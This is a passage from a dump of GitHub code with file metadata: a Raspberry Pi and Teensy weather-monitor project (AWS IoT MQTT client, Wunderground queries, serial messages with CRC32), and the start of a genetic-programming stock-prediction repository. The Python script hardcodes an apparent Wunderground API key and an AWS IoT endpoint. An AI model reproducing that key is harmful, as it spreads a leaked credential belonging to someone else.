Byte Array\n\tbuff = []\n\t# get bytes from JSON data which are then sent to teensy.\n\tbuff = data.encode()\n\t#print CRC32().calculate(buff)\n\tnCRC32 = CRC32().calculate(buff)\n\tprint hex(nCRC32)\n\t\n\t# Set CRC16 variable \n\tcrc[3] = nCRC32 & 0xFF # get low byte from CRC16\n\t# get high byte from CRC16\n\tnCRC32 >>= 8\n\tcrc[2] = nCRC32 & 0xFF\n\tnCRC32 >>= 8\n\tcrc[1] = nCRC32 & 0xFF\n\tnCRC32 >>= 8\n\tcrc[0] = nCRC32 & 0xFF \n\t# Send main message\n\tprint serialport.write(buff) \n\t# Send CRC16 buffer\n\tprint serialport.write(crc) \n\n\t# Close Serial Port, so that other routines can use serial instance \n\tserialport.close()\n\ttime.sleep(0.25)\n\n# Custom MQTT message callback, if any message is arrived PI, program will call the customCallback.\ndef customCallback(client, userdata, message):\n\t# topic is in message.topic, message is in message.payload.\n\tprint(\"Received a new message: \")\n\tprint(message.payload)\n\tprint(\"from topic: \")\n\tprint(message.topic)\n\tprint(\"--------------\\n\\n\")\n\t\n\t# create a JSON Object\n\tParsingObj = json.loads(message.payload)\n\n\t### parse JSON\n\tprint ParsingObj[\"person\"][\"imageUrl\"]\n\timgurl = ParsingObj[\"person\"][\"imageUrl\"]\n\tuserID = ParsingObj[\"person\"][\"userID\"]\n\tlocationID = ParsingObj[\"person\"][\"locationID\"]\n\tuserName = ParsingObj[\"person\"][\"userName\"]\n\n\t# Create image path for Image download on PI\n\tScreenImgPath = \"Screenimage\" + str(userID)\n\tScreenImgPath = ScreenImgPath + \".jpg\"\n\n\t# \n\ttry: \n\t\t# Open URL, if the url doesn't exist, trace exception\n\t\timgdata = urllib2.urlopen(imgurl)\n\t\t# If there is no error get the image\n\t\turllib.urlretrieve(imgurl, ScreenImgPath)\n\texcept urllib2.HTTPError, e:\n\t\tprint e.code\n\t\treturn\n\texcept urllib2.URLError, e:\n\t\tprint e.args\n\t\treturn\n\n\t#Open image using stock using image library \n\timage = Image.open(ScreenImgPath).resize((128, 96), Image.ANTIALIAS)\n\n\tif userID == 1:# First display module\n\t\tLCD0.roughimage(image)\n\telif userID == 2: # Second display module\n\t\tLCD1.roughimage(image)\n\t\n\t# Write Packet mqtt message content\n\tUARTWrite(message.payload)\n\t\t\n\ninterval = 1\ncycle = 0\nTimeout = 10 # 10 sec\n\ndef GetWeatherthreadProc(e):\n\tprint('Weather thread proc is started!')\n\tcycle = 0\n\tGetWeatherInfo()\n\twhile not e.isSet():\n\t\tevent_is_set = e.wait(interval)\n\t\tcycle = cycle + 1\n\t\tif cycle > Timeout:\n\t\t\tcycle = 0\n\t\t\tGetWeatherInfo()\n\n\n# Start up routine.\n# parameters for AWS Mqtt, mainly tested using Mqtt.FX software\nhost = \"a1idvfzc1etc2l.iot.us-west-2.amazonaws.com\" # endpoint for AWS IOT thing\n\n# Root ceritficate Path\nrootCAPath = \"root-CA.crt\"\ncertificatePath = \"HouseyTest.cert.pem\"\nprivateKeyPath = \"HouseyTest.private.key\"\n\n\n# Configure logging, only for analysing the log of Mqtt client\n# (I probably don't need this for now because I've been using MQTT.fx for testing)\nlogger = logging.getLogger(\"AWSIoTPythonSDK.core\")\nlogger.setLevel(logging.DEBUG)\nstreamHandler = logging.StreamHandler()\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nstreamHandler.setFormatter(formatter)\nlogger.addHandler(streamHandler)\n\n# Init AWSIoTMQTTClient\nmyAWSIoTMQTTClient = AWSIoTMQTTClient(\"basicPubSub\") # Client name \n# Configure with certificate setting\nmyAWSIoTMQTTClient.configureEndpoint(host, 8883)\nmyAWSIoTMQTTClient.configureCredentials(rootCAPath, privateKeyPath, certificatePath)\n\n# AWSIoTMQTTClient connection configuration\nmyAWSIoTMQTTClient.configureAutoReconnectBackoffTime(1, 32, 20)\nmyAWSIoTMQTTClient.configureOfflinePublishQueueing(-1) # Infinite offline Publish queueing\nmyAWSIoTMQTTClient.configureDrainingFrequency(2) # Draining: 2 Hz\nmyAWSIoTMQTTClient.configureConnectDisconnectTimeout(10) # 10 sec\nmyAWSIoTMQTTClient.configureMQTTOperationTimeout(5) # 5 sec\n\n# Connect and subscribe to AWS IoT\nmyAWSIoTMQTTClient.connect() # Mqtt Client connect \n\n # set subscribe topic \nmyAWSIoTMQTTClient.subscribe(\"Home/WeatherRPI/Input1\", 1, customCallback)\nmyAWSIoTMQTTClient.subscribe(\"Home/WeatherRPI/Input2\", 1, customCallback)\n\ntime.sleep(2)\n\n# Publish to the output topic in a loop forever\nmyAWSIoTMQTTClient.publish(\"Home/WeatherRPI/Output\", \"Rapsberry Pi Weather Station is Ready!\", 0)\n\nmyevent = threading.Event()\nCurrentThread = threading.Thread(target=GetWeatherthreadProc, args=(myevent,))\nCurrentThread.start()\n\ntry:\n\twhile True:\n\t\ttime.sleep(2)\nexcept KeyboardInterrupt: # If CTRL+C is pressed, exit cleanly:\n myevent.set()\n\n\n"},{"alpha_fraction":0.7515528202056885,"alphanum_fraction":0.7805383205413818,"avg_line_length":29.1875,"blob_id":"2a8f3d6a223323adb314713334daa2c0aea4def1","content_id":"0ed219043576220fba8e209e9b1d5507116ca32d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":483,"license_type":"no_license","max_line_length":108,"num_lines":16,"path":"/README.md","repo_name":"Chace0219/RPI-Teensy-Weather-Monitor","src_encoding":"UTF-8","text":"# RPI-Teensy-Weather-Monitor\nRPI & Teensy 3.6 based Weather Monitor Device \n\n# Wiring\n\n\n\n# Fucntinoalitiy List\n1) RPI Side\n- WUnderground Weather API Client using internet IP\n- AWS IOT client\n- UART CRC32 Master for Arduino ( weather info and position information)\n\n2) Arduino Side\n- wehather symbols using stepper motor, ws2812, small water pump\n- Serial slave from RPI\n"}],"string":"[\n {\n \"alpha_fraction\": 0.622558057308197,\n \"alphanum_fraction\": 0.6642093658447266,\n \"avg_line_length\": 23.889907836914062,\n \"blob_id\": \"074d31d8b3d4c7d6cb1266cbe3b4ff86cfe7bb9b\",\n \"content_id\": \"5897e4ce8ade8aaa064f1fad95984754b471fce5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2713,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 109,\n \"path\": \"/TeensySide.ino\",\n \"repo_name\": \"Chace0219/RPI-Teensy-Weather-Monitor\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"// Screen Pins\\n#define sclk 13\\n#define mosi 11\\n#define dc 9\\n#define cs 10\\n#define rst 8\\n\\n// Color definitions\\n#define\\tBLACK 0x0000\\n#define\\tBLUE 0x001F\\n#define\\tRED 0xF800\\n#define\\tGREEN 0x07E0\\n#define CYAN 0x07FF\\n#define MAGENTA 0xF81F\\n#define YELLOW 0xFFE0 \\n#define WHITE 0xFFFF\\n\\n//#include <Lighting.h>\\n#include <avr/io.h>\\n#include <avr/interrupt.h>\\n#include <Adafruit_GFX.h>\\n#include <Adafruit_SSD1351.h>\\n#include <Adafruit_PWMServoDriver.h>\\n#include <SPI.h>\\n#include <Wire.h>\\n#include <Stepper.h>\\n#include <Lightning.h>\\n#include <RainMaker.h>\\n#include <WeatherCloud.h>\\n\\n\\n//Screen library for Teensy screen\\nAdafruit_SSD1351 tft = Adafruit_SSD1351(cs, dc, mosi, sclk, rst); \\n\\n//Start STEPPER CLOUD\\nvoid CloudComplete();\\nWeatherCloud weatherCloud(3, 4, 5, 6, &CloudComplete);\\n\\nvoid CloudComplete() {\\n Serial.println(\\\"Cloud DONE\\\");\\n}\\n\\n//Interrupt for cloud stepper motor top bounds\\nvoid pin_ISR() {\\n weatherCloud.HandleInterrupt();\\n Serial.println(\\\"Interrupt complete\\\");\\n} \\n\\nvoid setup() {\\n Serial.begin(9600);\\n\\n Serial.println(\\\"Start cloud setup\\\");\\n \\n attachInterrupt(digitalPinToInterrupt(2), pin_ISR, CHANGE);\\n \\n weatherCloud.setSpeed(1600);\\n weatherCloud.Initialise();\\n Serial.println(\\\"End cloud initialise home\\\");\\n weatherCloud.stepperStatus = FORWARD;\\n\\n Serial.println(weatherCloud.stepperStatus);\\n Serial.println(\\\"End cloud setup\\\");\\n \\n Serial.print(\\\"hello!\\\");\\n tft.begin();\\n}\\n\\nvoid loop() {\\n Serial.println(\\\"Updating Cloud\\\");\\n weatherCloud.Update();\\n \\n// // Drive each servo one at a time\\n// Serial.println(servonum);\\n// for (uint16_t pulselen = SERVOMIN; pulselen < SERVOMAX; pulselen++) {\\n// pwm.setPWM(servonum, 0, pulselen);\\n// }\\n//\\n// //delay(500);\\n// for (uint16_t pulselen = SERVOMAX; pulselen > SERVOMIN; pulselen--) {\\n// pwm.setPWM(servonum, 0, pulselen);\\n// }\\n//\\n// //delay(500);\\n//\\n// servonum ++;\\n// if (servonum > 7) servonum = 0;\\n}\\n\\n//// you can use this function if you'd like to set the pulse length in seconds\\n//// e.g. setServoPulse(0, 0.001) is a ~1 millisecond pulse width. its not precise!\\n//void setServoPulse(uint8_t n, double pulse) {\\n// double pulselength;\\n// \\n// pulselength = 1000000; // 1,000,000 us per second\\n// pulselength /= 60; // 60 Hz\\n// Serial.print(pulselength); Serial.println(\\\" us per period\\\"); \\n// pulselength /= 4096; // 12 bits of resolution\\n// Serial.print(pulselength); Serial.println(\\\" us per bit\\\"); \\n// pulse *= 1000;\\n// pulse /= pulselength;\\n// Serial.println(pulse);\\n// pwm.setPWM(n, 0, pulse);\\n//}\\n\\nvoid testdrawtext(char *text, uint16_t color) {\\n tft.setCursor(0,0);\\n tft.setTextColor(color);\\n tft.print(text);\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.7051831483840942,\n \"alphanum_fraction\": 0.7310987114906311,\n \"avg_line_length\": 28.541139602661133,\n \"blob_id\": \"b28ac1b38ded8c0a483f8e2b54f92c328f010bf3\",\n \"content_id\": \"78faeb8f9d8f19f7d4460211b464c3d5d3cad253\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9338,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 316,\n \"path\": \"/Mqtt2Arduino.py\",\n \"repo_name\": \"Chace0219/RPI-Teensy-Weather-Monitor\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n### Logging function package in order to display AWS Connection and callback messages\\nimport sys\\nimport logging\\n\\n### Time package, used to implement thread and timing in RPI\\nimport time\\n\\n### JSON Processing Python package\\nimport json\\n\\n### URL Processing Package, used to download images from URL provided in JSON via MQTT for user photos \\nimport urllib\\nimport urllib2\\nimport datetime\\n\\nfrom PyCRC.CRC32 import CRC32\\n\\n'''\\nInstall from pip\\npip install AWSIoTPythonSDK\\n\\nDownload and Build from source in Git Hub\\n\\ngit clone https://github.com/aws/aws-iot-device-sdk-python.git\\ncd aws-iot-device-sdk-python\\nsudo python setup.py install\\n'''\\nfrom AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient ## AWS IOt MQTT Client Library \\n\\n### SPI and GPIO package for Raspberry PI Python\\n'''\\nsudo apt-get update\\nsudo apt-get install build-essential python-pip python-dev python-smbus git\\ngit clone https://github.com/adafruit/Adafruit_Python_GPIO.git\\ncd Adafruit_Python_GPIO\\nsudo python setup.py install\\n'''\\nimport Adafruit_GPIO.SPI as SPI\\n\\n#SSD1351 driver port from original adafruit driver using Python. It is based on the SPI interface.\\n'''\\ngit clone https://github.com/twchad/Adafruit_Python_SSD1351.git\\ncd Adafruit_Python_SSD1351\\nsudo python setup.py install\\n'''\\nimport Adafruit_SSD1351\\n\\n# Image Library used for photos on screen\\nimport Image\\n\\n\\n'''\\n\\ttar -xzf crc16-0.1.1.tar.gz\\n\\tcd crc16-0.1.1\\n\\tpython setup.py build\\n\\tsudo python setup.py install\\n'''\\nimport crc16\\n\\n# this is for UART for Raspberry Pi\\nimport serial # Referenced from https://pypi.python.org/pypi/pyserial/2.7 \\n\\nimport threading, time\\n\\nfrom json import load\\nfrom urllib2 import urlopen\\n\\n'''\\n\\tFunction for getting public ip of current RPI\\n'''\\ndef GetPublicIPAddr():\\n\\tmy_ip = load(urlopen('http://jsonip.com'))['ip']\\n\\treturn my_ip\\n\\nWunderAPIKey = \\\"973c64631b35d69e\\\"\\n\\ndef GetWeatherInfo():\\n\\tAPIRequest = \\\"http://api.wunderground.com/api/\\\"\\n\\tAPIRequest += WunderAPIKey\\n\\tAPIRequest += \\\"/geolookup/conditions/astronomy/q/autoip.json?geo_ip=\\\"\\n\\tAPIRequest += GetPublicIPAddr()\\n\\t\\n\\tprint APIRequest\\n\\n\\tf = urllib2.urlopen(APIRequest)\\n\\tjson_string = f.read()\\n\\tparsed_json = json.loads(json_string)\\n\\tlocation = parsed_json['location']['city']\\n\\ttemp_c = parsed_json['current_observation']['temp_c']\\n\\tweather_des = parsed_json['current_observation']['weather']\\n\\tprecip_today_metric = parsed_json['current_observation']['precip_today_metric']\\n\\tprint \\\"precip_today_metric %s\\\" % (precip_today_metric)\\n\\tprint \\\"Current temperature in %s is: %s celcius degree and %s.\\\" % (location, temp_c, weather_des)\\n\\t\\n\\tcurrtime = parsed_json['moon_phase']['current_time']['hour'] + \\\":\\\"\\n\\tcurrtime += parsed_json['moon_phase']['current_time']['minute']\\n\\tcurrtime += \\\":00\\\"\\n\\tprint \\\"Current time %s\\\" % (currtime)\\n\\t\\n\\tsunrise = parsed_json['moon_phase']['sunrise']['hour'] + \\\":\\\"\\n\\tsunrise += parsed_json['moon_phase']['sunrise']['minute']\\n\\tsunrise += \\\":00\\\"\\n\\tprint \\\"sunrise time %s\\\" % (sunrise)\\n\\n\\tsunset = parsed_json['moon_phase']['sunset']['hour'] + \\\":\\\"\\n\\tsunset += parsed_json['moon_phase']['sunset']['minute']\\n\\tsunset += \\\":00\\\"\\n\\tprint \\\"sunset time %s\\\" % (sunset)\\n\\n\\tmoonrise = parsed_json['moon_phase']['moonrise']['hour'] + \\\":\\\"\\n\\tmoonrise += parsed_json['moon_phase']['moonrise']['minute']\\n\\tmoonrise += \\\":00\\\"\\n\\tprint \\\"moonrise time %s\\\" % (moonrise)\\n\\n\\tmoonset = parsed_json['moon_phase']['moonset']['hour'] + \\\":\\\"\\n\\tmoonset += parsed_json['moon_phase']['moonset']['minute']\\n\\tmoonset += \\\":00\\\"\\n\\tprint \\\"moonset time %s\\\" % (moonset)\\n\\n\\tMyDateTime = datetime.datetime.now()\\n\\t#print datetime.datetime.now()\\n\\n\\tdate = MyDateTime.strftime(\\\"%d/%m/%y\\\")\\n\\tprint \\\"current date time %s\\\" % (date)\\n\\n\\tdata = {\\\"weatherinfo\\\" : {}}\\n\\tdata['weatherinfo']['temp_c'] = temp_c\\n\\tdata['weatherinfo']['date'] = date\\n\\tdata['weatherinfo']['weather'] = weather_des\\n\\tdata['weatherinfo']['precipitation'] = precip_today_metric\\n\\tdata['weatherinfo']['currtime'] = currtime\\n\\tdata['weatherinfo']['sunrise'] = sunrise\\n\\tdata['weatherinfo']['sunset'] = sunset\\n\\tdata['weatherinfo']['moonrise'] = moonrise\\n\\tdata['weatherinfo']['moonset'] = moonset\\n\\tjson_data = json.dumps(data)\\n\\tprint json_data\\n\\tf.close()\\t\\n\\n\\tUARTWrite(json_data)\\n\\n# Raspberry Pi pin configuration for SSD1351:\\nRST0 = 5\\nRST1 = 6\\n# Note the following are only used with SPI:\\nDC0 = 24\\nDC1 = 23\\n\\n# SPI Port definition. \\nSPI_PORT = 0\\nSPI_DEVICE0 = 0\\nSPI_DEVICE1 = 1\\n\\n# 128x96 display instance with hardware SPI:\\nLCD0 = Adafruit_SSD1351.SSD1351_128_96(rst=RST0, dc=DC0, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE0, max_speed_hz=8000000))\\nLCD1 = Adafruit_SSD1351.SSD1351_128_96(rst=RST1, dc=DC1, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE1, max_speed_hz=8000000))\\n\\n# Initialize library.\\nLCD0.begin()\\nLCD1.begin()\\n\\n# Clear display.\\nLCD0.clear()\\nLCD1.clear()\\n\\n## CRC16 temp variable for CRC16 CCIT \\ncrc = bytearray([0, 0, 0, 0]) \\n\\n### UART Write function\\ndef UARTWrite(data):\\n\\t# Serial Port open, this is different than in RPI 2 or other RPI devices.\\n\\t# There is an issue with the pi3 revision b\\n\\tserialport = serial.Serial(\\\"/dev/ttyS0\\\", 115200, timeout=0.5) # Baudrate 9600, Timeout 0.5sec\\n\\t# Byte Array\\n\\tbuff = []\\n\\t# get bytes from JSON data which are then sent to teensy.\\n\\tbuff = data.encode()\\n\\t#print CRC32().calculate(buff)\\n\\tnCRC32 = CRC32().calculate(buff)\\n\\tprint hex(nCRC32)\\n\\t\\n\\t# Set CRC16 variable \\n\\tcrc[3] = nCRC32 & 0xFF # get low byte from CRC16\\n\\t# get high byte from CRC16\\n\\tnCRC32 >>= 8\\n\\tcrc[2] = nCRC32 & 0xFF\\n\\tnCRC32 >>= 8\\n\\tcrc[1] = nCRC32 & 0xFF\\n\\tnCRC32 >>= 8\\n\\tcrc[0] = nCRC32 & 0xFF \\n\\t# Send main message\\n\\tprint serialport.write(buff) \\n\\t# Send CRC16 buffer\\n\\tprint serialport.write(crc) \\n\\n\\t# Close Serial Port, so that other routines can use serial instance \\n\\tserialport.close()\\n\\ttime.sleep(0.25)\\n\\n# Custom MQTT message callback, if any message is arrived PI, program will call the customCallback.\\ndef customCallback(client, userdata, message):\\n\\t# topic is in message.topic, message is in message.payload.\\n\\tprint(\\\"Received a new message: \\\")\\n\\tprint(message.payload)\\n\\tprint(\\\"from topic: \\\")\\n\\tprint(message.topic)\\n\\tprint(\\\"--------------\\\\n\\\\n\\\")\\n\\t\\n\\t# create a JSON Object\\n\\tParsingObj = json.loads(message.payload)\\n\\n\\t### parse JSON\\n\\tprint ParsingObj[\\\"person\\\"][\\\"imageUrl\\\"]\\n\\timgurl = ParsingObj[\\\"person\\\"][\\\"imageUrl\\\"]\\n\\tuserID = ParsingObj[\\\"person\\\"][\\\"userID\\\"]\\n\\tlocationID = ParsingObj[\\\"person\\\"][\\\"locationID\\\"]\\n\\tuserName = ParsingObj[\\\"person\\\"][\\\"userName\\\"]\\n\\n\\t# Create image path for Image download on PI\\n\\tScreenImgPath = \\\"Screenimage\\\" + str(userID)\\n\\tScreenImgPath = ScreenImgPath + \\\".jpg\\\"\\n\\n\\t# \\n\\ttry: \\n\\t\\t# Open URL, if the url doesn't exist, trace exception\\n\\t\\timgdata = urllib2.urlopen(imgurl)\\n\\t\\t# If there is no error get the image\\n\\t\\turllib.urlretrieve(imgurl, ScreenImgPath)\\n\\texcept urllib2.HTTPError, e:\\n\\t\\tprint e.code\\n\\t\\treturn\\n\\texcept urllib2.URLError, e:\\n\\t\\tprint e.args\\n\\t\\treturn\\n\\n\\t#Open image using stock using image library \\n\\timage = Image.open(ScreenImgPath).resize((128, 96), Image.ANTIALIAS)\\n\\n\\tif userID == 1:# First display module\\n\\t\\tLCD0.roughimage(image)\\n\\telif userID == 2: # Second display module\\n\\t\\tLCD1.roughimage(image)\\n\\t\\n\\t# Write Packet mqtt message content\\n\\tUARTWrite(message.payload)\\n\\t\\t\\n\\ninterval = 1\\ncycle = 0\\nTimeout = 10 # 10 sec\\n\\ndef GetWeatherthreadProc(e):\\n\\tprint('Weather thread proc is started!')\\n\\tcycle = 0\\n\\tGetWeatherInfo()\\n\\twhile not e.isSet():\\n\\t\\tevent_is_set = e.wait(interval)\\n\\t\\tcycle = cycle + 1\\n\\t\\tif cycle > Timeout:\\n\\t\\t\\tcycle = 0\\n\\t\\t\\tGetWeatherInfo()\\n\\n\\n# Start up routine.\\n# parameters for AWS Mqtt, mainly tested using Mqtt.FX software\\nhost = \\\"a1idvfzc1etc2l.iot.us-west-2.amazonaws.com\\\" # endpoint for AWS IOT thing\\n\\n# Root ceritficate Path\\nrootCAPath = \\\"root-CA.crt\\\"\\ncertificatePath = \\\"HouseyTest.cert.pem\\\"\\nprivateKeyPath = \\\"HouseyTest.private.key\\\"\\n\\n\\n# Configure logging, only for analysing the log of Mqtt client\\n# (I probably don't need this for now because I've been using MQTT.fx for testing)\\nlogger = logging.getLogger(\\\"AWSIoTPythonSDK.core\\\")\\nlogger.setLevel(logging.DEBUG)\\nstreamHandler = logging.StreamHandler()\\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\\nstreamHandler.setFormatter(formatter)\\nlogger.addHandler(streamHandler)\\n\\n# Init AWSIoTMQTTClient\\nmyAWSIoTMQTTClient = AWSIoTMQTTClient(\\\"basicPubSub\\\") # Client name \\n# Configure with certificate setting\\nmyAWSIoTMQTTClient.configureEndpoint(host, 8883)\\nmyAWSIoTMQTTClient.configureCredentials(rootCAPath, privateKeyPath, certificatePath)\\n\\n# AWSIoTMQTTClient connection configuration\\nmyAWSIoTMQTTClient.configureAutoReconnectBackoffTime(1, 32, 20)\\nmyAWSIoTMQTTClient.configureOfflinePublishQueueing(-1) # Infinite offline Publish queueing\\nmyAWSIoTMQTTClient.configureDrainingFrequency(2) # Draining: 2 Hz\\nmyAWSIoTMQTTClient.configureConnectDisconnectTimeout(10) # 10 sec\\nmyAWSIoTMQTTClient.configureMQTTOperationTimeout(5) # 5 sec\\n\\n# Connect and subscribe to AWS IoT\\nmyAWSIoTMQTTClient.connect() # Mqtt Client connect \\n\\n # set subscribe topic \\nmyAWSIoTMQTTClient.subscribe(\\\"Home/WeatherRPI/Input1\\\", 1, customCallback)\\nmyAWSIoTMQTTClient.subscribe(\\\"Home/WeatherRPI/Input2\\\", 1, customCallback)\\n\\ntime.sleep(2)\\n\\n# Publish to the output topic in a loop forever\\nmyAWSIoTMQTTClient.publish(\\\"Home/WeatherRPI/Output\\\", \\\"Rapsberry Pi Weather Station is Ready!\\\", 0)\\n\\nmyevent = threading.Event()\\nCurrentThread = threading.Thread(target=GetWeatherthreadProc, args=(myevent,))\\nCurrentThread.start()\\n\\ntry:\\n\\twhile True:\\n\\t\\ttime.sleep(2)\\nexcept KeyboardInterrupt: # If CTRL+C is pressed, exit cleanly:\\n myevent.set()\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7515528202056885,\n \"alphanum_fraction\": 0.7805383205413818,\n \"avg_line_length\": 29.1875,\n \"blob_id\": \"2a8f3d6a223323adb314713334daa2c0aea4def1\",\n \"content_id\": \"0ed219043576220fba8e209e9b1d5507116ca32d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 483,\n \"license_type\": \"no_license\",\n \"max_line_length\": 108,\n \"num_lines\": 16,\n \"path\": \"/README.md\",\n \"repo_name\": \"Chace0219/RPI-Teensy-Weather-Monitor\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# RPI-Teensy-Weather-Monitor\\nRPI & Teensy 3.6 based Weather Monitor Device \\n\\n# Wiring\\n\\n\\n\\n# Fucntinoalitiy List\\n1) RPI Side\\n- WUnderground Weather API Client using internet IP\\n- AWS IOT client\\n- UART CRC32 Master for Arduino ( weather info and position information)\\n\\n2) Arduino Side\\n- wehather symbols using stepper motor, ws2812, small water pump\\n- Serial slave from RPI\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978322,"cells":{"repo_name":{"kind":"string","value":"seepls/algorithmic-trading"},"repo_url":{"kind":"string","value":"https://github.com/seepls/algorithmic-trading"},"snapshot_id":{"kind":"string","value":"ad40c7cf5476f1c6b616a5826c83f9c9e401ee83"},"revision_id":{"kind":"string","value":"fec2731ba1c86bd1a88125c50ef8596135cf413a"},"directory_id":{"kind":"string","value":"82020a1f1bd9730489a3fd0d8cd6a452f26b30b8"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-08-18T10:27:52.130206","string":"2020-08-18T10:27:52.130206"},"revision_date":{"kind":"timestamp","value":"2019-10-17T12:08:33","string":"2019-10-17T12:08:33"},"committer_date":{"kind":"timestamp","value":"2019-10-17T12:08:33","string":"2019-10-17T12:08:33"},"github_id":{"kind":"number","value":215779451,"string":"215,779,451"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2019-10-17T11:48:38","string":"2019-10-17T11:48:38"},"gha_updated_at":{"kind":"timestamp","value":"2019-10-16T14:14:48","string":"2019-10-16T14:14:48"},"gha_pushed_at":{"kind":"timestamp","value":"2014-05-09T04:01:56","string":"2014-05-09T04:01:56"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6455142498016357,"alphanum_fraction":0.6535375714302063,"avg_line_length":22.220338821411133,"blob_id":"e6836890310cc2a3ae47672cc3ad7d42a41416d8","content_id":"95f79ad5d57f17b220078cfe80cf01ba8d28e60d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1371,"license_type":"no_license","max_line_length":60,"num_lines":59,"path":"/Rahul_Genetic_Program/analysis/extract_data.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Extracts Data from Trials\n#Rahul Ramakrishnan\n\nimport os\nfirst_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_1'\n#second_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_2'\n#third_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_3'\n\nmean_files = []\nbest_files = []\n\nfor root, dirs, filenames in os.walk(first_dir):\n for f in filenames:\n\tmean_files.append(open(os.path.join(root, f), 'r'))\t\t\n\tbest_files.append(open(os.path.join(root, f), 'r'))\n\nmean_file = open('./mean.txt', 'w')\nbest_file = open('./best.txt', 'w')\n\ndef multiReadMean(f):\n\tmean_in_f = []\n\tfor line in f:\n\t\twords = line.split(' ')\n\t\tmean = words[0]\n\t\tmean_in_f.append(mean)\n\treturn mean_in_f\n\ndef multiReadBest(f):\n\tbest_in_f = []\n\tfor line in f:\n\t\twords = line.split(' ')\n\t\tbest = words[1]\n\t\tbest_in_f.append(best)\n\treturn best_in_f\n\n\nmeans = map(lambda f: multiReadMean(f), mean_files)\nbests = map(lambda f: multiReadBest(f), best_files)\n\n#means = [ [], [], [], [], [] ]\n\nmeans.pop(0)\nbests.pop(0)\n\nfinal_means = []\nfor i in range(0, len(means[0])):\n\tgeneration_means = map(lambda x: float(x[i]), means)\n\tfinal_means.append(min(generation_means))\n\nfinal_bests = []\nfor i in range(0, len(bests[0])):\n\tgeneration_bests = map(lambda x: float(x[i]), bests)\n\tfinal_bests.append(min(generation_bests))\n\nfor m in final_means:\n\tmean_file.write(str(m) +'\\n')\n\nfor b in final_bests:\n\tbest_file.write(str(b) +'\\n')\n\n"},{"alpha_fraction":0.6388722062110901,"alphanum_fraction":0.6544691324234009,"avg_line_length":19.567901611328125,"blob_id":"62b742b2800411ec445501197531bff7bea708b1","content_id":"4cade1352bbb123379c210662a9069be1abed8b8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1667,"license_type":"no_license","max_line_length":74,"num_lines":81,"path":"/Rahul_Genetic_Program/README.md","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"Predicting Apple Stock\n======================\nEvolutionary Computing - Genetic Program\n========================================\n\n###Class: Stochastic Optimization\n###Professor: Jason Lohn\n###Author: Rahul Ramakrishnan\n\n**Description:**\nPredicts apple stock price using a genetic program. \nIt is trained using 2010-2013 apple and nasdaq data for\nnow, however, more data will be added soon.\n\n\n**Quick Start**\n\n*Step 1:*\nInstall python 2.7 interpretter\n\n```\nsudo apt-get install python2.7\n```\n\nInstall pip (pip installs python):\n\nhttp://pip.readthedocs.org/en/latest/installing.html\n\n\nOn Linux:\n```\nsudo apt-get install python-pip\n```\n\n\nInstall colors\n\n```\nsudo pip install termcolor\n```\n\n*Step 2:*\nEnsure that Rahul_Genetic_Program/ contains\n- a. predict.py\n- b. apple/ (package containing modules)\n\t- config.py\n\t- tree.py\n\t- initialize.py\n\t- scrape.py\n\t- inspect.py\n\t- recombination.py\n\t- selection.py\n\t- fitness.py\n- c. data/ (contains data)\n- d. output/ (statistical data outputted)\n- e. You can change default parameters in the config.py file\n\n*Step 3:*\nPoint apple/scrape.py\n\tnasdaq line: 42\n\tsp500 line: 72\n\tapple line: 95\n\tto the file data path, \n\ton your system\n\n*Step 4:*\n```\n$ python predict.py\n```\n\n*Step 5:*\nPopulations will be outputted to the screen\n\n\n**TO DO:**\n- Add more signals (S&P, apple tweets, etc.) \n- Fix early convergence from crossover ---------------------------DONE\n- Refactor all for loops into map/reduce/filter/scan -------------DONE\n- Add colors to output -------------------------------------------DONE\n- Add graphs of mean generational error and best fitness----------PROGRESS\n- Add best tree output along with average generational error -----DONE\n\n"},{"alpha_fraction":0.6114550828933716,"alphanum_fraction":0.6424148678779602,"avg_line_length":31.299999237060547,"blob_id":"3f6c3aa15f3b2f2096d59bd43a7257b7520bbc5f","content_id":"004886116b5d5c5490a47aba977d35c36e3289ba","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":646,"license_type":"no_license","max_line_length":115,"num_lines":20,"path":"/Rahul_Genetic_Program/data/test_data/test_data_convert.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#Stochastic Optimization\n\n#Test Data Convert\ndef getAppleData():\n\t#Same thing for nasdaq data as apple\n\tapple = open('../nasdaq.txt', 'r')\n\ttest_apple = 